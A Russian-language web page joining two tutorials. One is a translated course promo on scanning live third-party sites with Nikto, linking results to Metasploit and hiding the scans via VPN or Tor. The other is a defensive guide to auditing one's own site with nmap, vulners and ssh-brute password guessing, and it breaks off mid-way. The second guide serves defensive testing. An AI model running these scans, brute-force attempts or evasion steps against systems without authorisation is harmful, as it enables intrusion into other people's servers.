Как найти уязвимость https

Всем привет! В марте OTUS запускает новый курс «Практикум по Kali Linux». В преддверии старта курса подготовили для вас перевод полезного материала. Также хотим пригласить всех желающих на бесплатный урок по теме: «Denial of Service атаки и защита от них».


Перед тем как атаковать любой сайт, хакер или пентестер сначала составляет список целей. После того, как он проведет хорошую разведку и найдет слабые места для «наведения прицела», ему понадобится инструмент сканирования веб-сервера, такой как Nikto, который поможет найти уязвимости – потенциальные вектора атаки.

Nikto – это простой открытый сканер веб-серверов, который проверяет веб-сайт и сообщает о найденных уязвимостях, которые могут быть использованы для эксплойта или взлома. Кроме того, это один из наиболее широко используемых инструментов сканирования веб-сайтов на уязвимости во всей отрасли, а во многих кругах он считается отраслевым стандартом.

Несмотря на то, что этот инструмент чрезвычайно эффективен, он не действует скрытно. Любой сайт с системой обнаружения вторжений или иными мерами безопасности поймет, что его сканируют. Nikto был разработан для тестирования безопасности и о скрытности его работы никто не задумывался.

Как правильно использовать Nikto

Если вы просто запустите Nikto на целевом веб-сайте, вы, возможно, не поймете, что делать с информацией, полученной после сканирования. Nikto на самом деле больше похож на лазерную указку, которая влечет за собой выстрел, и через некоторое время вы увидите, как это работает.

Для начала давайте поговорим о целях (target). Целью может оказаться почти любое место, куда может нанести свой удар хакер, например, сетевые принтеры или веб-сервер. Когда мы чуть позже перейдем к использованию Nikto, нам нужно будет предоставить ему один из трех видов информации: IP-адрес для локальной службы, веб-домен для атаки или веб-сайт SSL/HTTPS.

Прежде чем начинать сканирование с помощью Nikto, лучше предварительно провести разведку с помощью такого открытого инструмента как Maltego. Такие инструменты могут оказаться полезными при создании профиля и формировании более конкретного списка целей, на которых стоит сосредоточиться. Как только вы это сделаете, можно будет воспользоваться Nikto для поиска потенциальных уязвимостей в целях из вашего списка.

Если повезет, уязвимость с известным эксплойтом будет найдена, а значит, что уже существует инструмент, который поможет воспользоваться этим слабым местом. С помощью соответствующего инструмента, который автоматически эксплуатирует уязвимость, хакер может получить доступ к цели для выполнения любого количества скрытых атак, таких как, например, добавление вредоносного кода.

Шаг 1: Установка Nikto

Если вы используете Kali Linux, то Nikto будет предустановлен, поэтому вам ничего скачивать и устанавливать не придется. Он будет расположен в категории «Vulnerability Analysis». Если у вас его по какой-то причине нет, вы можете скачать Nikto с его репозитория на GitHub или просто использовать команду apt install.

apt install nikto

Если вы работаете на Mac, то можете использовать Homebrew, чтобы установить Nikto.

brew install nikto

Шаг 2: Познакомьтесь с Nikto

Перед сканированием веб-серверов с помощью Nikto, воспользуйтесь параметром -Help, чтобы увидеть все, что можно делать с этим инструментом:

nikto -Help

Options:
       -ask+               Whether to ask about submitting updates
                               yes   Ask about each (default)
                               no    Don't ask, don't send
                               auto  Don't ask, just send
       -Cgidirs+           Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"
       -config+            Use this config file
       -Display+           Turn on/off display outputs:
                               1     Show redirects
                               2     Show cookies received
                               3     Show all 200/OK responses
                               4     Show URLs which require authentication
                               D     Debug output
                               E     Display all HTTP errors
                               P     Print progress to STDOUT
                               S     Scrub output of IPs and hostnames
                               V     Verbose output
       -dbcheck           Check database and other key files for syntax errors
       -evasion+          Encoding technique:
                               1     Random URI encoding (non-UTF8)
                               2     Directory self-reference (/./)
                               3     Premature URL ending
                               4     Prepend long random string
                               5     Fake parameter
                               6     TAB as request spacer
                               7     Change the case of the URL
                               8     Use Windows directory separator ()
                               A     Use a carriage return (0x0d) as a request spacer
                               B     Use binary value 0x0b as a request spacer
        -Format+           Save file (-o) format:
                               csv   Comma-separated-value
                               htm   HTML Format
                               nbe   Nessus NBE format
                               sql   Generic SQL (see docs for schema)
                               txt   Plain text
                               xml   XML Format
                               (if not specified the format will be taken from the file extension passed to -output)
       -Help              Extended help information
       -host+             Target host
       -404code           Ignore these HTTP codes as negative responses (always). Format is "302,301".
       -404string         Ignore this string in response body content as negative response (always). Can be a regular expression.
       -id+               Host authentication to use, format is id:pass or id:pass:realm
       -key+              Client certificate key file
       -list-plugins      List all available plugins, perform no testing
       -maxtime+          Maximum testing time per host (e.g., 1h, 60m, 3600s)
       -mutate+           Guess additional file names:
                               1     Test all files with all root directories
                               2     Guess for password file names
                               3     Enumerate user names via Apache (/~user type requests)
                               4     Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)
                               5     Attempt to brute force sub-domain names, assume that the host name is the parent domain
                               6     Attempt to guess directory names from the supplied dictionary file
       -mutate-options    Provide information for mutates
       -nointeractive     Disables interactive features
       -nolookup          Disables DNS lookups
       -nossl             Disables the use of SSL
       -no404             Disables nikto attempting to guess a 404 page
       -Option            Over-ride an option in nikto.conf, can be issued multiple times
       -output+           Write output to this file ('.' for auto-name)
       -Pause+            Pause between tests (seconds, integer or float)
       -Plugins+          List of plugins to run (default: ALL)
       -port+             Port to use (default 80)
       -RSAcert+          Client certificate file
       -root+             Prepend root value to all requests, format is /directory
       -Save              Save positive responses to this directory ('.' for auto-name)
       -ssl               Force ssl mode on port
       -Tuning+           Scan tuning:
                               1     Interesting File / Seen in logs
                               2     Misconfiguration / Default File
                               3     Information Disclosure
                               4     Injection (XSS/Script/HTML)
                               5     Remote File Retrieval - Inside Web Root
                               6     Denial of Service
                               7     Remote File Retrieval - Server Wide
                               8     Command Execution / Remote Shell
                               9     SQL Injection
                               0     File Upload
                               a     Authentication Bypass
                               b     Software Identification
                               c     Remote Source Inclusion
                               d     WebService
                               e     Administrative Console
                               x     Reverse Tuning Options (i.e., include all except specified)
       -timeout+          Timeout for requests (default 10 seconds)
       -Userdbs           Load only user databases, not the standard databases
                               all   Disable standard dbs and load only user dbs
                               tests Disable only db_tests and load udb_tests
       -useragent         Over-rides the default useragent
       -until             Run until the specified time or duration
       -update            Update databases and plugins from CIRT.net
       -useproxy          Use the proxy defined in nikto.conf, or argument http://server:port
       -Version           Print plugin and database versions
       -vhost+            Virtual host (for Host header)
   		+ requires a value

Шаг 3: Используйте базовый синтаксис

Как вы видите из предыдущего шага, у Nikto есть много вариантов использования, но для наших целей мы будем использовать базовый синтаксис <IP или hostname> с фактическим IP-адресом или именем хоста без угловых скобок.

nikto -h <IP or hostname>

Однако, Nikto способен выполнять сканирование SSL и порта 443, который используют сайты HTTPS (HTTP использует по умолчанию 80 порт). Таким образом, мы не ограничиваемся только сканированием старых сайтов, мы может проводить оценку уязвимостей сайтов, использующих SSL, что на сегодняшний день является почти обязательным требованием для индексирования в результатах поиска.

Если мы знаем, что у целевого сайта есть SSL, мы можем указать это в Nikto, чтобы сэкономить некоторые время на сканировании, добавив -ssl в конец команды.

nikto -h <IP or hostname> -ssl

Шаг 4: Сканируйте сайты с SSL

Например, давайте начнем со сканирования сайта pbs.org, чтобы увидеть типы информации, которые может выдать сканирование Nikto. После того, как он подключается к порту 443, мы видим какую-то полезную информацию о шифровании и другие детали, такие как, например, то, что сервер работает на nginx, однако здесь для нас не так много интересного.

nikto -h pbs.org -ssl

- Nikto v2.1.6
------------------------------------------------------------------------------
- STATUS: Starting up!
+ Target IP:			54.225.198.196
+ Target Hostname:		pbs.org
+ Traget Port:			443
------------------------------------------------------------------------------
+ SSl Info:			Subject:	/CN=www.pbs.org
					Altnames:	account.pbs.org, admin.pgs.org, dipsy-tc.pbs.org, docs.pbs.org, ga.video.cdn.pbs.org, git.pbs.org, heart.ops.pbs.org, hub-dev.pbs.org, image.pbs.org,
                    			jaws..pbs.org, kids.pbs.org, koth-qa.svp.pbs.org, login.pbs.org, ops.pbs.org, pbs.org, player.pbs.org, projects.pbs.org, sentry.pbs.org, teacherline.pbs.org,
                                urs.pbs.org, video.pbs.org, weta-qa.svp.pbs.org, whut-qa.svp.pbs.org, wnet.video-qa.pbs.org, wnet.video-staging.pbs.org, www-cache.pbs.org, www.pbs.org
                    Ciphers:	ECDHE-RSA-AES128-GCM-SHA256
                    Issuer:		/C-US/0=Let's Encrypt/CN=Let's Encrypt Authority X3
+ Start Time:			2018-12-05 23:34:06 (GMT-8)
------------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-pbs-fwsrvname' found, with contents: fwcacheproxy1
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: https://www.pbs.org/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ RC-1918 IP address found in the 'x-pbs-appsvrip' header: The IP is "10.137.181.52".
+ Uncommon header 'x-cache-fs-status' found, with contents: EXPIRED
+ Uncommon header 'x-pbs-appsvrname' found, with contents: fwcacheproxy1
+ Uncommon header 'x-pbs-appsvrip' found, with contents: 10.137.181.52
+ Server leaks inodes via ETags, header found with file /pbs.org.zip, fields: 0x5b96537e 0x1678
+ 7446 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:				2018-12-06 00:30:29 (GMT-8) (3383 seconds)
------------------------------------------------------------------------------
+ 1 host(s) tested

Шаг 5: Сканирование IP-адреса

Теперь, когда мы провели быстрое сканирование веб-сайта, мы можем попробовать использовать Nikto в локальной сети, чтобы найти embedded-сервера, такие как страница логина роутера или HTTP-сервис на другой машине, который представляет из себя просто сервер без веб-сайта. Чтобы узнать IP-адрес мы будем использовать ifconfig.

IP-адрес, который нам нужен относится к «inet». На нем мы можем использовать ipcalc для того, чтобы получить сетевой диапазон. Если у вас нет ipcalc, вы можете установить его с помощью команды apt install ipcalc, а затем повторить попытку. Диапазон будет стоять после «Network», в моем случае это 192.168.0.0/24.

ifconfig

en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST>  mtu 1500
        inet 192.168.0.48  netmask 0xffffff00  broadcast 192.168.0.255
        inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0  prefixlen 64  secured scopeid 0x8
        ether XX:XX:XX:XX:XX:XX  txqueuelen 1000  (Ethernet)
        inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0  prefixlen 64 autoconf secured
        inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0  prefixlen 64 autoconf temporary
        nd6 options=201<PERFORMNUD,DAD>
        media: autoselect
        status: active

en2: flags=8863<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST>  mtu 1500
        options=60<TS04,TS06>
        ether XX:XX:XX:XX:XX:XX
        media: autoselect <full-duplex>
        status: inactive

Теперь мы хотим запустить Nmap, чтобы найти службы, работающие в этом сетевом диапазоне. Давайте сканировать 80 порт с помощью нашего диапазона, для этого допишем -oG (grepable output), чтобы получить только те хосты, которые подняты и работают, то есть те, которые отвечают, говоря, что 80 порт открыт. Затем мы сохраним все это в файл, который я назову nullbyte.txt, вы, в свою очередь, можете назвать его как угодно.

ipcalc 192.168.0.48

Address:   192.168.0.48         11000000.10101000.00000000. 00110000
Netmask:   255.255.255.0 = 24   11111111.11111111.11111111. 00000000
Wildcard:  0.0.0.255            00000000.00000000.00000000. 11111111
=>
Network:   192.168.0.0/24       11000000.10101000.00000000. 00000000
HostMin:   192.168.0.1          11000000.10101000.00000000. 00000001
HostMax:   192.168.0.254        11000000.10101000.00000000. 11111110
Broadcast: 192.168.0.255        11000000.10101000.00000000. 11111111
Hosts/Net: 254                   Class C, Private Internet

Есть небольшой фокус, который поможет отправить все хосты прямо в Nikto для сканирования. Мы используем cat для чтения входных данных, хранящихся в нашем документе nullbyte.txt (или как вы его назвали самостоятельно). После этого мы используем awk – специальный инструмент в Linux, который поможет найти следующий шаблон, где Up означает, что хост поднят, а print $2 значит, что нужно вывести второе слово в каждой строке, то есть только IP-адрес. Затем, полученные данные мы отправим в файл, который называется targetIP.txt (или как вам захочется).

cat nullbyte.txt | awk '/Up$/{print $2}' | cat >> targetIP.txt

Теперь мы можем просмотреть содержимое нашего нового файла с помощью cat, чтобы увидеть все IP-адреса, у которых открыт 80 порт.

cat targetIP.txt

192.168.0.1
192.168.0.2
192.168.0.4
192.168.0.5
192.168.0.11
192.168.0.24
192.168.0.31
192.168.0.48
192.168.0.60

Такой формат идеально подойдет Nikto, поскольку он может легко интерпретировать подобные файлы. Таким образом, мы можем отправить этот вывод в Nikto следующей командой.

nikto -h targetIP.txt

Результаты будут аналогичны тем, что мы получили при сканировании с SSL.

Шаг 6: Сканирование HTTP-сайта

Мы просканировали защищенный веб-сайт и IP-адрес в локальной сети, теперь настало время искать незащищенный веб-домен, который использует 80 порт. Для этого примера я использую сайт afl.com.au, у которого не было SSL в тот момент, когда я проводил это сканирование.

nikto -h www.afl.com.au

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          159.180.84.10
+ Target Hostname:    www.afl.com.au
+ Target Port:        80
+ Start Time:         2018-12-05 21:48:32 (GMT-8)
---------------------------------------------------------------------------
+ Server: instart/nginx
+ Retried via header: 1.1 varnish (Varnish/6.1), 1.1 e9ba0a9a729ff2960a04323bf1833df8.cloudfront.net (CloudFront)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache' found, with contents: Miss from cloudfront
+ Uncommon header 'x-instart-cache-id' found, with contents: 17:12768802731504004780::1544075250
+ Uncommon header 'v-cache-hit' found, with contents: Hit
+ Uncommon header 'x-amz-cf-id' found, with contents: Dr-r6OwO5kk9ABt4ejzpc7R7AIF6SuH6kfJHQgP0v6xZoHwMLE55rQ==
+ Uncommon header 'x-instart-request-id' found, with contents: 12814413144077601501:BEQ01-CPVNPPRY18:1552504721:0
+ Uncommon header 'x-oneagent-js-injection' found, with contents: true
+ Uncommon header 'grace' found, with contents: cache
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-ruxit-js-agent' found, with contents: true
+ Cookie dtCookie created without the httponly flag
+ Server banner has changed from 'instart/nginx' to 'nginx' which may suggest a WAF, load balancer or proxy is in place
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/sites/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '*.mobileapp' in robots.txt returned a non-forbidden or redirect HTTP code (400)
+ Entry '*.liveradio' in robots.txt returned a non-forbidden or redirect HTTP code (400)
+ Entry '*.smartmobile' in robots.txt returned a non-forbidden or redirect HTTP code (400)
+ Entry '*.responsive' in robots.txt returned a non-forbidden or redirect HTTP code (400)
+ Entry '/stats?*/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 8 entries which should be manually viewed.
+ OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content.
+ OSVDB-3092: /psql_history: This might be interesting...
+ OSVDB-3092: /global/: This might be interesting...
+ OSVDB-3092: /home/: This might be interesting...
+ OSVDB-3092: /news: This might be interesting...
+ OSVDB-3092: /search.vts: This might be interesting...
+ OSVDB-3092: /stats.htm: This might be interesting...
+ OSVDB-3092: /stats.txt: This might be interesting...
+ OSVDB-3092: /stats/: This might be interesting...
+ OSVDB-3092: /Stats/: This might be interesting...
+ OSVDB-3093: /.wwwacl: Contains authorization information
+ OSVDB-3093: /.www_acl: Contains authorization information
+ OSVDB-3093: /.htpasswd: Contains authorization information
+ OSVDB-3093: /.access: Contains authorization information
+ OSVDB-3093: /.addressbook: PINE addressbook, may store sensitive e-mail address contact information and notes
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.forward: User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to.
+ OSVDB-3093: /.history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.htaccess: Contains configuration and/or authorization information
+ OSVDB-3093: /.lynx_cookies: User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites.
+ OSVDB-3093: /.mysql_history: Database SQL?
+ OSVDB-3093: /.passwd: Contains authorization information
+ OSVDB-3093: /.pinerc: User home dir found with a PINE rc file. May reveal system information, directories and more.
+ OSVDB-3093: /.plan: User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol
+ OSVDB-3093: /.proclog: User home dir with a Procmail rc file. May reveal mail traffic, directories and more.
+ OSVDB-3093: /.procmailrc: User home dir with a Procmail rc file. May reveal subdirectories, mail contacts and more.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ OSVDB-3093: /.rhosts: A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.sh_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ OSVDB-5709: /.nsconfig: Contains authorization information
+ /portal/changelog: Vignette richtext HTML editor changelog found.
+ 7587 requests: 4 error(s) and 55 item(s) reported on remote host
+ End Time:           2018-12-05 22:42:41 (GMT-8) (3249 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Из информации выше, мы понимаем, что присутствует сервер Varnish и некоторые заголовки, которые могут подсказать, как сконфигурирован веб-сайт. Однако более полезная информация – это обнаруженные каталоги, которые могут помочь зацепить конфигурационные файлы, содержащие учетные данные или другие вещи, которые были неправильно сконфигурированы и оказались доступными непреднамеренно.

Элементы с префиксом OSVDB – это уязвимости, о которых сообщается на Open Source Vulnerability Database (сайте, который закрылся в 2016 году). Он похож на другие базы данных уязвимостей, такие как SecurityFocus, Microsoft Technet и Vulnerabilities and Exposures (https://cve.mitre.org/). Лично мне ближе National Vulnerability Database.

Несмотря на то, что наше сканирование не выявило никаких критических уязвимостей, которые можно было бы эксплуатировать, вы можете использовать справочный инструмент CVE для перевода идентификатора OSVDB в запись CVE, чтобы вы могли воспользоваться одним из сайтов, приведенных выше.

Допустим, вы нашли что-то достойное исследования, например CVE-2018-10933, уязвимость Libssh, о которой мы подробнее говорили ранее. CVE содержит информацию о том, как ее эксплуатировать, насколько уязвимость серьезна (например, критическая уязвимость) и некоторые другие сведения, которые могут помочь определиться с вектором атаки. Если это что-то стоящее, вы можете поискать с Metasploit, поскольку кто-то скорее всего уже разработал модуль, который поможет легко эксплуатировать эту уязвимость.

Шаг 7: Сканирование вместе с Metasploit

Одна из лучших вещей в Nikto заключается в том, что вы можете просто экспортировать информацию, полученную при сканировании, в формат, который сможет прочитать Metasploit. Для этого просто используйте команды для выполнения сканирования, приведенные выше, но добавьте к ним в конце флаги -Format msf+. Этот формат может помочь быстро сопоставить данные, полученные с помощью эксплойта.

nikto -h <IP or hostname> -Format msf+

Итак, в сегодняшнем руководстве мы перешли от определения цели к поиску уязвимостей в ней, а затем связали найденные уязвимости с эксплойтом, чтобы нам не пришлось делать всю работу вручную. Поскольку Nikto не работает скрытно, разумно выполнять эти сканирования через VPN, Tor или другой тип сервиса, чтобы ваш IP-адрес не был помечен как подозрительный.

→ Записаться на бесплатный урок

Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.

Всем привет! Сейчас большинство статей в интернете по теме поиска уязвимостей на своем сайте делятся на два типа: это либо банальный список онлайн-сканеров без подробных инструкций как ими пользоваться, либо хардкорные мануалы для фанатов информационной безопасности и прочих хакеров, где без Линукса не разобраться.

Поэтому я решил написать статью, которой мне не хватало, когда я только начинал разбираться в этой теме. Надеюсь эта статья сделает интернет чуть-чуть безопаснее, а вам поможет найти даже те уязвимости, которые вы изначально не закладывали😃.

Статья пригодится:

  • Backend разработчикам: вы сможете быстро тестировать свои веб-приложения на наличие уязвимостей и тем самым повысить их надежность и безопасность данных ваших пользователей. (Если конечно исправите уязвимости, которые найдете )
  • Frontend разработчикам: пока npm собирает ваш фронтенд, вы как раз успеете проверить API вашего веб-приложения. А если повезет и вы сможете найти уязвимости, то вы не только поможете своей компании в будущем сохранить свою репутацию (а себе выбить премию), но и сможете целую неделю незлобно троллить ваших backend разработчиков и DevOps инженеров в общем чате.
  • Тестировщикам: освоите новые инструменты и сможете требовать законную прибавку к зарплате, а также немного считать себя хакерами.
  • Владельцам веб-сайтов и стартаперам без раунда: вы сможете самостоятельно базово проверить свой сайт без привлечения дорогостоящих экспертов, а также сможете лучше понимать технические особенности работы вашей бизнес-машины.

А нужно ли проверять?

Немного фактов и мнений:

Факт доказанный практикой и личным опытом: даже если у вас небольшой интернет-магазин, в 2020 вы уже будете подвергаться кибератакам по несколько раз в день.

С момента попадания в индекс GoogleYandex ваш сайт становится мишенью десятка (а если сайт крупный, то сотни) специализированных ботов, которые круглосуточно мониторят даже небольшие сайты и серверы для поиска уязвимостей и дальнейшего взлома.

У вас может быть грамотная архитектура, красивый дизайн, быстрая скорость загрузки, но всего лишь небольшая ошибка или невнимательность разработчика может серьезно навредить вашему бизнесу. Поэтому необходимо регулярно проверять свой сайт или веб-приложение на наличие уязвимостей.

Хорошая новость – сейчас можно самостоятельно просканировать свое веб-приложение различными бесплатными сканерами безопасности и найти уязвимые места заранее.

Внимание, использование подобных сканеров уязвимостей на чужих сайтах без разрешения владельцев является нарушением закона почти во всех странах.

Теперь я наглядно и пошагово покажу как с помощью таких инструментов самостоятельно проверить свой сайт, а также как разобраться в сгенерированных отчетах .

Что будем проверять:

  • Доступ к серверу и исходным кодам
  • Уязвимости веб-серверов (Apache или NGINX)
  • SQL инъекции
  • Межсайтовый скриптинг (XSS).
  • Устойчивость приложения и сервера к перебору паролей
  • Получение доступа к системным каталогам

Если вы пока еще не знаете, что означают все эти страшные слова и сокращения на английском, то не переживайте, по ходу статьи я обязательно объясню их значения.

В качестве подопытного сайта я написал и развернул небольшой самописный блог с возможностью оставлять комментарии к статьям и добавил в него весь джентльменский набор:

  • Многочисленные SQL инъекции
  • XSS уязвимости
  • Простой пароль для ssh доступа
  • Открытый ftp
  • Отсутствие защиты от перебора паролей
  • База данных, доступная из интернета с простым паролем
  • Слишком широкие права доступа к папкам и файлам

В общем все так, как делать не надо.

1. Проверяем сетевую инфраструктуру.

В кибератаках, также как и войне, все начинается с разведки, чтобы найти уязвимое место соперника. Для того, чтобы эффективно атаковать, злоумышленникам необходимо знать, какое ПО используется на сервере и какие двери открыты или закрыты недостаточно крепко. К несчастью владельцев сайтов, сейчас, чтобы все это узнать, нужно лишь здравое любопытство и утилита nmap.

Nmap – это набор инструментов для сканирования сетевой инфраструктуры веб-сервиса. Он может быть использован для проверки безопасности, для идентификации запущенных серверных приложений.

Nmap позволяет запускать готовые скрипты, которые значительно упрощают анализ вашего сервера. Минус – теперь даже смышленный школьник, вооружившись пачкой скриптов, может предоставлять опасность для серверов компании.

Интересный факт – сyществует целая галерея фильмов, где утилита nmap используется для кибератак. Часть представлено в галерее, под каждой картинкой описание. Более полный список и разбор можно посмотреть по ссылке

Посмотрели картинки, теперь можно и поработать! Приступаем к делу.

Устанавливаем nmap

В установке нет ничего сложного. Примеры установки покажу на примере Windows и Mac OS. В дистрибутивах Linux последняя версия nmap обычно установлена по умолчанию.

Установка на Windows 10

Перейдите по ссылке загрузки nmap и загрузите последнюю стабильную версию. На данный момент (16.09.2020) эта версия 7.80. Скачать ее можно по этой ссылке с официального сайта. Дальше запустите nmap-7.80-setup.exe от имени администратора. Программа установки по умолчанию предложит установить все компоненты, галочки можно не снимать. Описывать шаги далее подробно ( Примите лицензионное соглашение и тд) не буду, там все изи.

Запуск nmap на Windows

Запускать nmap можно как в режиме графического интерфейса, так и через командную строку.

Для запуска графической оболочки введите в строку поиска nmap и в результатах выберите nmap – Zenmap GUI

Для дальнейшей работы вы можете вводить нужные команды в поле “Команда”, а затем нажимать на кнопку Сканирование. Результаты сканирования в виде текстового отчета вы можете посмотреть в окне, которое я старательно подписал “Отчет”

Интерфейс Zenmap

Мне ближе использование nmap через командную строку aka консоль. Для запуска командной строки введите “cmd” в строку поиска на панели инструментов. Нажмите Enter и затем откроется командная строка. Дальше прямо в нее можно вводить nmap команды.

Командная строка в Windows 10 c введенной командой nmap выглядит вот так:

Mac OS X

Нажмите Command+Space и введите “Терминал”, после этого нажмите Enter. Дальше последнюю версию nmap можно установить через менеджер HomeBrew c помощью следующей команды, которую нужно ввести в терминале:

brew install nmap

Для запуска nmap просто начинайте команду с nmap, ничего сложного 🙂

nmap localhost

Устанавливаем скрипты

Также нам надо установить скрипт nmap_vulners, который будет проводить проверку на то, содержатся ли уязвимости в ПО, которое мы используем. Для его установки нужно скачать файлы скрипта и перенести файлы http-vulners-regex.nse и vulners.nse в C:Program Files (x86)Nmapscripts.

Если у вас Mac OS, то перенести файлы скрипта нужно в папку /usr/local/Cellar/nmap/<version>/share/nmap/scripts/

Начинаем проверку

Для начала запускаем сканирование своего сервера командой ниже, чтобы выяснить какие порты используются и для чего. Команда выглядит так (подставьте свой ip или домен). Команду нужно вводить в окне консоли, либо если вы используете Zenmap GUI, то в поле “Команда” (пример я привел выше):

nmap -sV -Pn -p- -T5 161.35.92.161

Параметр T5 отвечает за скорость анализа сервера. Скорость можно менять от T0 до T5, где T0 – очень медленная скорость анализа, а T5 – очень быстрая. Если вы не хотите сильно нагружать сервер, то используйте T2.

Параметр -p- означает, что мы будем проверять весь диапазон портов (‘это займет около 10 минут) . Его можно убрать и тогда скрипт просканирует не все порты, а только 1000 первых (самые распространенные).

Ответ будет выглядеть примерно так:

nmap -sV -Pn 161.35.92.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:03 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.085s latency).
Not shown: 965 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds

Из отчета мы видим, что nmap отобразил нам порты (под колонкой PORT), которые активны. В данном случае у нас используются:

  • Порт 21 занят под FTP
  • Порт 22 занят под SSH.
  • Порт 80 прослушивается сервером Apache.
  • Порт 3306 используется MySQL

Теперь запускаем наш скрипт, который проверит уязвимости в нашем ПО на сервере. Для этого запускаем следующую команду с указанием портов, которые мы будем проверять. Вам нужно будет заменить список портов на свои .

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23

Пример отчета. Ссылки на описание уязвимости идут после строки vulners (пример такой строки со ссылкой в отчете: CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278)

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:50 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.094s latency).

PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
23/tcp filtered telnet
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.41:
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
|_ CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
443/tcp closed https
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
8080/tcp filtered http-proxy
8443/tcp filtered https-alt
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds

Как видите из отчета, скрипт проанализировал активное ПО нашего сервера и любезно предоставил ссылки с описанием каждой найденной уязвимости. Что согласитесь, очень удобно как для нас, так и для злоумышленников.

Также можно записать результат анализа в файл, который потом можно скинуть ответственному разработчику или системному администратору. Сам файл результатов будет находиться в каталоге, из которого вы запускаете скрипт. Пример такой команды ниже:

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23 > result.txt

Чтобы избавиться от подобных проблем обычно достаточно обновить используемое ПО до последних версий, где уязвимости старых версий, как правило, уже исправлены.

2. Проверяем устойчивость к перебору.

В нашем случае nmap определил, что на сервере есть ssh, ftp и mysql. Попробуем проверить насколько устойчивые пароли используются.

SSH

Вводим следующую команду (напомню, что вводить нужно либо в консоль, либо в поле “Команда” программы Zenmap GUI.

nmap –script ssh-brute -p22 161.35.92.161 –script-args userdb=users.lst,passdb=passwords.lst

В случае успеха (процесс не быстрый) скрипт выведет подобранный пароль и логин . Подобранные пары логинпароль будут выведены после строчки Accounts:

22/ssh open ssh
ssh-brute:
Accounts
username:password
Statistics
Performed 32 guesses in 25 seconds.

